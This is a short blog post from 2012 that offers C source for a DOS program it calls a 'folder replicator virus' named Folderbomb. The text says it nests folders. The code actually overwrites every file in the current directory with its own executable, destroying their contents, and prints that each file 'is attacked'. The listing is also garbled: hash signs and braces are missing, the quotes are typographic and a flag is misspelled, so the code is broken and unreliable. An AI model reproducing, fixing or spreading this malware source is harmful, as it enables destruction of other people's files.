Wednesday, April 18, 2012

FOLDER REPLICATOR VIRUS IN C PROGRAM



****it will create folder in a folder in a folder and so on run this on your own responsibility****
  1. include<stdio.h>
  2. include<dos.h>
  3. include<dir.h>
  4. include<fcntl.h>
  5. include<conio.h>
void main(int argc,char* argv[])

char buf[512];
int source,target,byt,done; 
struct ffblk ffblk; 
clrscr(); 
textcolor(2); 
cprintf(”————————————————————————–”); 
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”); 
cprintf(”————————————————————————–”); 
done = findfirst(”*.*”,&ffblk,0); 
while (!done) 

printf(”\n”);
cprintf(” %s “, ffblk.ff_name);
printf(”is attacked by “);
cprintf(”Folderbomb”); 
source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); 
while(1) {byt=read(source,buf,512); 
if(byt>0) write(target,buf,byt); else break; 

close(source); 
close(target); 
done = findnext(&ffblk); 

getch(); 
}